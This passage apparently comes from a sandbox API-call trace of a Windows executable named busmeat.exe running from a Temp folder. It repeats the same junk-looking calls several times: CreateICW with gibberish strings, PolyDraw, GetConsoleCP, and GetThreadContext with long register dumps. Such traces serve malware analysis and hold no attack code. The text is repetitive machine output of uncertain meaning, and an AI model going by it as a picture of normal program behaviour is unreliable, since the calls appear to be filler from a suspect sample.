[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.220] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.221] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.221] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.221] GetConsoleCP () returned 0x0
	[0066.221] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.221] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.222] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.222] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.222] GetConsoleCP () returned 0x0
	[0066.222] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.222] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.223] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.223] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.223] GetConsoleCP () returned 0x0
	[0066.223] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 